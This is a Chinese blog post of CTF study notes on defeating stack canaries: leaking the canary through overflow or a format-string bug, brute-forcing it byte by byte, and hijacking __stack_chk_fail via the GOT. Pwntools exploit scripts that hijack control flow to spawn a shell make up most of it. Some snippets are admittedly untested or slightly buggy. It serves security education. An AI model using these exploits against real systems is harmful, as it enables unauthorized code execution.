Canary章节学习

OpenHarmony-L2操作总结 一.代码下载 1.只下载L2标准系统(2.0 Canary)源码 repo init -u git@gitee.com:openharmony/manifest.git -b refs/tags/OpenHarmony-2.0-Canary --no-repo-verify repo sync -c repo forall -c 'git lfs pull PS:参考OpenHarmony 2.0 Canary(2021-06-01) 2.下载轻量/小型/标准系统(2.0 Canary)全量源码 阅读详情

第一节 覆盖截断字符获取canary

原理

  • Canary设计其低字节为\x00,本意是阻止被read、write等函数直接将Canary读出来。通过栈溢出将低位的\x00覆写,就可以读出Canary的值。

实践

首先我们查看汇编语言了解canary所在的地址进而方便我们进行修改,其形式大概类于mov dword [var_ch]这类的。

然后我们看他后面的跟着的寄存器在栈的哪个位置,在和这个栈的总长度做差,就是canary低字节的地址

此外,我们还要注意,为了截断一些读取函数,canary的低字节是/x00,所以我们要多加一个字节把他覆盖掉,所以我们的payload可以写成 :

payload_1 = b'a' * (0x70 - 0xc+0x1) #原文没有+0x1,不知对错,以后实践
conn.send(payload_1)
recvbytes = conn.recv()
# 获取canary
canary = u32(recvbytes[0x65:0x68].rjust(4, b'\x00'))#而canary就是0x70-0xC= 0x64开始的四个字节,因为最低字节已经被覆写,且默认为\x00,因此只要获取0x65,0x66,0x67三个字节的值,再拼接一个\x00就可以得到Canary了
print(f'Canary: {hex(canary)}')

到此canary的值已经泄露出来了,我们只要进行第二次溢出即可:

payload_2 = b'a' * (0x70 - 0xc) + p32(canary) + b'a' * 0xc + p32(getshell)
conn.send(payload_2)
conn.recv()
conn.interactive()

第二个例题

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
r = process("./test")
shell_addr = ELF("./test").sym["houmen"]
r.recvuntil("Hello radish!n")
payload = "a"*100
r.sendline(payload)
r.recvuntil("a"*100)
canary = u32(r.recv(4))-0x0a
log.info("canary:"+hex(canary))
payload =  "a"*100 #填充
payload += p32(canary)#泄露的canary
payload += "a"*8
payload += "aaaa" #ebp
payload += p32(shell_addr) # ret addr
r.sendline(payload)
sleep(0.2)
r.interactive()
  • 为什么要减去0xa:

    canary的最低字节为0x00 printf函数或者put函数无法输出结束字符之后的字符 故上述代码中压入了100个A和回车,回车将0x00覆盖,回车的ascii码为10,10的十六进制就是0xa 0x00被0xa覆盖掉之后,剩下的高字节部分就可以泄露出来了

第二节 利用格式化字符串漏洞获取canary

原理

  • 格式化字符串漏洞可以打印出栈中的内容,因此利用此漏洞可以打印出canary的值,从而进行栈溢出。

实践

首先,我们可以效仿字符串漏洞构造一个地址,从而来看printf输出的参数在栈中的位置,以上一节的地址为例,我们知道了栈顶到canary的位置是(0x70-0xc),由于是32位,所以一个参数涵盖4个字节,所以由此推出canary是第(6+(0x70-0xc)/4=6+25)个

参数

payload_1 = b'%x-' * ( 6 + 25)

最后一个%x-对应的内容就是canary的值

recvbytes = conn.recv()
# 获取canary
canary = int(recvbytes.split(b'-')[-2], 16)
print(f'Canary: {hex(canary)}')

然后在进行第二次溢出,方法与第一节一致,不多阐述了

第三节 逐字节爆破

原理

  • 每次进程重启后的Canary是不同的,但是同一个进程中的Canary都是一样的。并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存

  • 爆破次数:对于32位ELF,低字节固定是\x00,所以只需要对三个字节进行爆破。爆破方式是先利用栈溢出覆写次低字节,如果出错的话,会报错,获得正确的次低字节的话,不会报错。获取正确的次低字节之后,再依次爆破次高字节和高字节。每个字节的可能性是256,因此3个字节的逐个爆破总次数是256+256+256=768次

实践

首先通过爆破获得canary的值

canary = b'\x00'
for i in range(3):
  for b in range(0, 256):
    payload = b'a' * (0x70 - 0xC) + canary + bytes(b)
    # 下面是伪代码
        if (recv没报错):
            canary += bytes(b)
            break

下面是一个具体的写法

canary = b'\x00'
for i in range(3):
  for j in range(0, 256):
    #conn.recvuntil(b'Hello Hacker!')
    payload = b'a' * (0x70 - 0xC) + canary + p8(j)
    conn.send(payload)
    time.sleep(0.01)
    res = conn.recv()
    if ( b"stack smashing detected" not in res):
        print(f'the {i} is {hex(j)}')
        canary += p8(j)
        break
  assert(len(canary) == i+2) #这个判断长度还有点疑惑
        
print(f'Canary : {hex(u32(canary))}')

第四节 SSP泄露

不会,以后再学思密达

第五节 劫持__stack_chk_fail函数

原理

  • 在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行。stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。

实践

先构造地址,找出变量参数所在地址。

root@kali:~/ctf/Other/pwn/CanaryTest# ./test3
aaaa%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-
aaaaff959cf8-c8-80491e4-f7f15ae0-1-f7ee4410-ff959e24-0-1-61616161-252d7825-78252d78-2d78252d-252d7825-
​

由此我们可以算出offest的取值,然后使用pwntools的fmstr的构造写出payload

payload = fmtstr_payload(10, {stack_chk_fail_got: getshell})
payload = payload.ljust(0x70, b'a')

输出payload即可

第六节 修改STL绕过canary

还没学,以后再看

2021年五面蚂蚁,从基础到源码统统帮你搞定,实战解析 开头 关于程序员,除了做项目、看视频来提高自身的技术之外,还有一种提升自己的专业技能就是:多!看!书!MySQL俨然已经成为了IT技术人员必须掌握的核心技能之一! 《MySQL从入门到精通》 本书详细介绍了如何安装、管理、备份、维护和优化一个 MySQL 系统。对于每一件服务器操作都提出了多种的解决方案。对于每一种的方法,虽然不一定都是非常实用的方法,读者能通过这些方法,熟悉 MySQL 的特点和强大的功能。 第一章简单介绍了 MySQL 的历史、特点,同时对 SQL 的语法进行了简单的介绍。如果读者对第一 阅读详情

相关推荐

自锁电路设计

Hi,uu们,是不是经常要用到自锁电路,通常不是使用555芯片就是用比较器来做自锁,今天我们来简单看下自锁电路的设计.图1采用了比较器构建了一个自锁电路,采用低电平复位,当需要复位的时候志需要将反向端的二极管拉低一下即可,免去 三极管控制同相端和电源短接的麻烦。图1:比较器构建的自锁电路也可以使用555去构建,如下图2所示.图2:使用555构建的自锁电路工作原理见555的真值表,真值表如表1所示.表1:555电路真值表相对来说555还是比较贵,所以我就想能不能有个便宜的方法做个自锁电路,构建电路如下图3所示

weixin_43884675的博客 7066

Canary解决姿势

被折磨的有点难受 找个时间来斩杀(bushi)又是被虐的一天~有问题请指正~❀获取例题请在评论区留言或私信我⭐标志提示就算fork函数吧 多线程开攻**(1)先运行一下 pei’d配套checksec根据题目提示’have fun’和’welcome’在爆破的exp中会用作于覆盖节点​ 发现Canary和PIE都开 准备好爆破(如果有可以利用的字符串canary也可以绕过)​ 对应随机化 后续在IDA中只能利用其地址计算偏移(2)进IDA。

weixin_72981769的博客 605

SAP高级外币评估_FINS_FXV_S4 2022 OP

摘要:S/4HANA 2022 On-Premise中的高级外币评估(FINS_FXV)取代了经典外币估值(FAGL_FCV),提供更优化的财务结算功能。主要创新包括:增量发布逻辑、简化账户配置、行项目级估值可见性等。该功能支持IFRS9等会计准则,通过会计原则(Accounting Principle)进行配置,需完成财务报表版本定义、语义标记分配等必要设置。系统演示展示了从汇率维护(FB60/MIRO)、测试运行到最终过账(FB03)的完整流程,能自动计算并过账汇率差异。高级外币评估简化了期末结算操作,

yanzibing99的博客 1260

【pwn学习】Canary的各种绕过姿势

Canary各种绕过姿势

Morphy_Amo的博客 1万+

SolidWorks软件安装管理程序在创建该注册表项时遇到错误: UNKNOWN\Components的解决方案

SolidWorks软件安装管理程序在创建该注册表项时遇到错误: UNKNOWN\Components的解决方案

Q82556499的博客 4169

基于STM32与FPGA Cyclone IV的FSMC高速数据通信实战解析

本文详细解析了基于STM32的FSMC接口与FPGA Cyclone IV实现高速并行数据通信的实战方案。通过将FPGA模拟为SRAM设备,构建了MCU与FPGA之间的高速数据通道,并深入探讨了硬件连接、STM32软件配置、FPGA逻辑设计及性能优化等关键步骤,为图像处理、高速采集等需要大数据量交换的嵌入式应用提供了稳定高效的通信解决方案。

swift5iosmith的博客 294

格式化字符串泄露canary+ret2libc

264/8=33,因为是六十四位文件所以他格式化字符串时候前六个参数是在寄存器中的而栈空间这个记录的第一个偏移其实是真实的第七个数据单元所以这边算出来33还要再加6,即为canary值,利用格式化字符串泄露内存的payload应该为(%39$p)接下来再本地run一下看看。这边泄露出来libc基地址需要用puts真实地址减去偏移量,即为基地址,每次运行程序偏移量是不变的是固定的所以这边可以利用动调获取到puts的真实地址和基地址计算偏移量,这边有两个函数。

qq_41710399的博客 1137

利用 RSAU_LOG_API 把 SAP 安全审核日志接入企业 SIEM 的完整指南

在 SAP 世界里,安全审核日志(Security Audit Log,简称 SAL)是审计和合规的核心基础设施之一。系统会在后台把安全相关的关键事件记录下来,比如:(用户登录与登录失败用户锁定、解锁权限对象或角色变更远程调用(RFC)相关活动关键事务码的启动程序直接执行、批处理作业相关的敏感操作传统 ABAP 系统里,这些日志会写到本地应用服务器上的审计文件中(背后对应类似表RSAUENTR2的结构),包含事件标识、客户端、用户、终端、事务码、时间戳等信息。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 161

c语言格式化输出_配合格式化字符串漏洞绕过canary保护机制

0x01 起(这只是一次小白的随笔记录,有些操作不太成熟,欢迎各位看官指出交流)我们知道,缓冲区溢出漏洞利用的关键处就是溢出时,覆盖栈上保存的函数返回地址来达到攻击效果。于是就有人就设计出了很多保护机制:Canary、PIE、NX等。本文讨论的就是若程序只开启了canary保护机制,我们该怎么应对?该机制是在刚进入函数的时候,在栈底放一个标志位canary(又名金丝雀):当缓冲区被溢出时...

weixin_39638708的博客 286

未连接互联网的银河麒麟v10安装g++,各种报错,如何处理?

🏆本文收录于《全栈Bug调优(实战版)》专栏,主要记录项目实战过程中所遇到的Bug或因后果及提供真实有效的解决方案,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!! 备注:部分问题/疑难杂症搜集于互联网。

**My Coding Family** 1803

96.在 Vue 3 中使用 OpenLayers 探究加载 Point、Polygon 的极限

在前端 GIS(地理信息系统)开发中,OpenLayers 作为一个功能强大的 Web 地图库,广泛用于加载地图、渲染矢量数据(点、线、面)、叠加图层等场景。然而,当涉及到。

小彭的博客 1155

栈上格式化字符串漏洞:泄露canary,修改got表,stack check fail,one_gadget

此时就存在格式化字符串漏洞。%c为单个字符形式%s为多个字符形式%d为数字形式%f是转为浮点型%x是转为十六进制形式,不带0x%p是转为十六进制,但是带0x%n 将%n之前打印出来的字符的个数存入到参数中接下通过例题来讲解利用方法。

2302_79813730的博客 1327

cartographer实现纯定位

实现纯定位 (1)因为正常的cartographer的建图的map是由cartographer发布的;如下 rostopic info /map Type: nav_msgs/OccupancyGrid Publishers: * /cartographer_occupancy_grid_node 因此需要把map的发布替换成 <node name="map_server" pkg="map_server" type="map_server" args="/home/lx.

Studying…… 5888

锁屏时有人插U盘,你如何第一时间知道?USB监控告警工具USB Canary完整入门

锁屏期间电脑被人偷偷插上U盘、拔走硬盘,往往毫无察觉。**USB Canary** 是一款面向 Linux 和 macOS 的 USB 监控告警工具:它利用 psutil 持续监听磁盘分区变化,一旦检测到 U 盘插入或移除,就能通过 **短信(Twilio)、Slack 频道或 Pushover 推送** 第一时间通知你,堪称个人电脑与物理服务器的"USB 安全哨兵"。🔒 ## 它为什么实用?

gitblog_00855的博客 991

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

USB监控工具真的万能吗?深度剖析USB Canary的误报陷阱与生产环境使用边界

USB Canary 是一款运行在 Linux 和 macOS 上的 USB 监控工具,它能在电脑锁屏期间检测 USB 设备的插拔,并通过 Twilio 短信、Slack 频道或 Pushover 推送实时告警。但它真的万能吗?这篇文章带你从源码视角剖析 USB Canary 的 4 大误报陷阱,以及它在生产环境中的使用边界,帮你判断这台"USB 金丝雀"值不值得放进你的安全防线。 ## USB

gitblog_00423的博客 383

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

PWN的学习顺序推荐 | pwn学习指北

Pwn是一种在网络安全和黑客竞赛(如CTF,夺旗赛)中常见的技术类型。它主要涉及对程序漏洞的利用,以实现对目标系统的控制或获取敏感信息。

2403_87031746的博客 2583

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

tfjs-models 手部姿态检测实战:MediaPipeHands MediaPipe 运行时的安装、配置与推理详解

本篇技术指南以 [hand-pose-detection/src/mediapipe/README.md](https://link.gitcode.com/i/9755088af3ce6c1d237d4ce587e35ca1) 为核心,系统讲解 TensorFlow.js 生态中 `@tensorflow-models/hand-pose-detection` 包如何通过 MediaPipe r

gitblog_00397的博客 402

Windows Terminal 更新教程:3 步完成终端升级,并找到适合你的版本策略

Windows Terminal 是微软出品的现代化标签页终端,支持多窗格分屏、主题配色与可视化设置界面。本文带你几分钟内安全完成一次 Windows Terminal 更新,并帮你选定匹配自己节奏的版本策略——包括更新前备份配置、更新后验证版本,以及出问题时的 Windows Terminal 版本回退方案。 ## 为什么你的终端该更新了:配置丢失与功能缺失的根源 先说两个最常见的糟心场景:

gitblog_00680的博客 368

Chrome内置AI:本地化Gemini Nano模型实现零延迟隐私文本处理

这次我们来看一个能让你的 Chrome 浏览器直接“开挂”的技术: Chrome 内置 AI 。这不是一个需要你下载安装的第三方插件,而是 Google 官方集成在 Chrome 浏览器内部的 AI 能力,核心是 Gemini Nano 模型。它的目标很直接:让你在浏览器里就能完成文本总结、翻译、改写、校对等任务,而且所有处理都在你的设备本地进行,无需联网调用云端 API,速度快、隐私好。 最值得关注的点在于,它彻底改变了我们使用 AI 的方式。过去,你要么依赖联网的 ChatGPT,要么在本地部署一个动辄

读书、思考、生活 414

缓冲区溢出漏洞深度解析:从原理到实战修复的5种高危模式

缓冲区溢出是计算机安全领域最经典且持续存在的内存破坏漏洞。其核心原理在于程序向预分配的内存区域写入数据时,未进行有效的边界检查,导致数据溢出到相邻内存区域,从而可能覆盖关键的控制数据(如函数返回地址)。这种底层内存管理机制的缺陷,使得攻击者能够劫持程序执行流程,实现任意代码执行,对系统安全构成极高威胁。在软件开发、嵌入式系统及网络服务等广泛的应用场景中,因编码疏忽或对输入验证不足而引入的此类漏洞屡见不鲜。本文聚焦于【基于堆栈的缓冲区溢出】和【整数溢出】等关键模式,结合工程实践,系统阐述其成因、危害及系统的修

weixin_30448603的博客 430

学习体系工具:O‘Reilly的测试工具技能更新规划

摘要:随着AI技术重塑测试流程,测试人员需掌握自动化工具链集成、质量风险预测及AI系统验证三大核心能力。O'Reilly平台提供技能升级路径:1)基础能力强化,包括自动化测试全栈覆盖和工具链集成;2)新兴技术攻坚,如AI辅助测试和质量左移实施;3)生产环境质量右移方案。2026年关键能力矩阵涵盖AI测试素养、业务协同和战略思维。建议建立个性化学习图谱,参与社区实践并定期效能度量。O'Reilly平台提供定制课程包和知识库整合功能,助力测试人员技能升级。(150字)

2501_94480392的博客 155

Now in Android | 12 月刊 · 2019

作者 / Chet Haase, Android 开发技术推广工程师欢迎大家来到 Now in Android 栏目,本栏目将专注于为开发者们提供近期值得关注的 Android 开发热...

谷歌开发者 927

从CTF入门到实战:二进制漏洞利用与逆向工程学习路径解析

二进制安全是网络安全领域的核心技术方向,其核心在于理解程序在内存中的运行机制与数据交互原理。通过分析内存布局、函数调用约定和指令执行流程,安全研究人员能够识别软件中的潜在漏洞。这项技术的价值在于从底层揭示漏洞成因,为漏洞挖掘、恶意代码分析和系统防护提供理论基础。在CTF竞赛、渗透测试和漏洞研究中,二进制安全技能被广泛应用于栈溢出、堆漏洞利用和逆向工程等场景。本文以GitHub热门项目“BinaryAbyss”为例,结合pwntools、IDA等工具链,系统讲解从环境配置、漏洞原理到利用技术的完整知识体系,特

weixin_30696427的博客 464

html-in-canvas快速上手:3步开启canvas-draw-element,10分钟画出第一块HTML内容

html-in-canvas(画布内渲染 HTML)是一个面向 Web 开发者的浏览器提案:它让你可以直接把 `<div>`、表单、富文本等 HTML 内容画进 2D/3D canvas,告别纯 canvas 绘制文本的繁琐与低效。只需在 Chrome Canary 中开启 `canvas-draw-element` 开关,10 分钟即可画出你的第一块 HTML 内容。 ## 开启 canvas

gitblog_00575的博客 393

生产级机器学习系统:从Notebook到高可靠服务的四大支柱

机器学习模型部署不是技术终点,而是系统性工程的起点。当模型脱离离线环境进入真实业务流,其可靠性不再取决于算法精度,而取决于数据契约、可观测性、韧性设计与全链路治理四大基础能力。特征缺失、时序错配、依赖超时、决策不可追溯等典型问题,本质是数据流与控制流分离、静态假设与动态现实冲突所致。在风控、信贷、反欺诈等高敏感场景中,必须将模型视为有生命周期、需监护的系统组件,通过Schema契约约束输入输出、多层监控穿透至特征与业务指标、熔断降级保障带病生存、模型卡与决策溯源实现合规闭环。本文即围绕这四大支柱,提供可落地

weixin_30718391的博客 346
上一篇: RET2syscall
下一篇: ret2csu
T_Fire_of_Square
博客等级 码龄3年 110粉丝 29原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值